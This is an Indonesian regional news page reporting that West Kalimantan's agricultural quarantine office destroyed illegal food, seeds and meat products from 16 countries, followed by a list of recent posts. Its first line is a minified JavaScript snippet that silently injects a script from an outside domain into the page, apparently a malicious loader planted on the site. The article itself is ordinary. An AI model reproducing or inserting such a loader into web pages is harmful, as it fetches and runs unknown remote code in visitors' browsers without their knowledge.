(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Barat

Pangan Ilegal dari 16 Negara Masuk Kalbar, Berakhir Dimusnahkan


KANALKALIMANTAN.COM, PONTIANAK- Ditemukan bahan makanan ilegal dari negara lain di Kalimantan Barat (Kalbar). Pangan ilegal tersebut tak dilengkapi surat remi.

Adapun jenisnya berupa bibit tanaman, sayur, buah hingga sosis yang masuk wilayah Kalbar. Barang-barang itu tidak dilengkapi dengan sertifikat kesehatan dan surat lain dari negara asalnya.

Balai Karantina Pertanian Kelas 1 Pontianak akhirnya memusnahkan sejumlah pangan ilegal tersebut guna menghindari hal yang tak diinginkan.

Hal itu diungkap oleh Ketua Tim Pemusnah Balai Karantina Pertani Kelas 1 Pontianak, Joko Supriatno, Jumat (27/8/2021) lalu.

 

 

Baca juga: UPDATE. Kasus Covid-19 di Kota Banjarbaru Hari Ini Tambah 43 Orang

“Pemusnahan barang-barang atau pangan ilegal tersebut karena dikhawatirkan pemilik Media Pembawa (MP) Hama Penyakit Hewan Karantina (HPHK) atau Organisme Pengganggu Tumbuhan Karantina (OPTK) ini tidak melapor kepada petugas Karantina Pertanian,” ujarnya seperti dikutip dari Antara.

Tak tanggung-tanggung, pangan ilegal yang masuk berasal dari 16 negara lain, di antaranya Jepang, Papua Nugini, Taiwan, Cina, Jerman, Hongkong, Prancis, Amerika Serikat, Thailand, India, Singapura, Malaysia, Korea Selatan, Norwegia, Australia dan Arab Saudi.

“Adapun Media Pembawa HPHK/OPTK yang kami musnahkan hari ini terdiri dari produk olahan daging babi sebanyak 19,1 kilogram, produk olahan daging sapi sebanyak 1,7 kilogram, buah dan sayuran 41,4 kilogram dan bibit/benih tanaman sebanyak 45 paket,” kata Joko.

Joko menyebut barang-barang yang dimusnahkan itu masuk ke Kalbar melalui Bandara Internasional Supadio Pontianak, dan Kantor Pos Rahadi Oesman.

“Barang-barang ilegal ini masuk ke Kalbar melalui dua pintu masuk, yaitu bandara dan Kantor Pos sejak bulan Januari hingga Agustus 2021,” ujar Joko.

Ia menjelaskan, untuk pemusnahan pangan ilegal, awalnya semua barang-barang dimasukkan ke dalam lubang galian yang telah disiapkan. Kemudian barang-barang itu ditimbun dengan kayu bakar.

“Setelah siap timbunan kayu dibakar dan disiram dengan minyak solar, kata Joko.

Setelah selesai, lanjutnya, lubang pembakaran pangan ilegal ditimbun dan tutup kembali. (antara/suara)

Editor: suara


Risa

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

14 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

15 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

15 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

16 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

17 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

22 jam ago

This website uses cookies.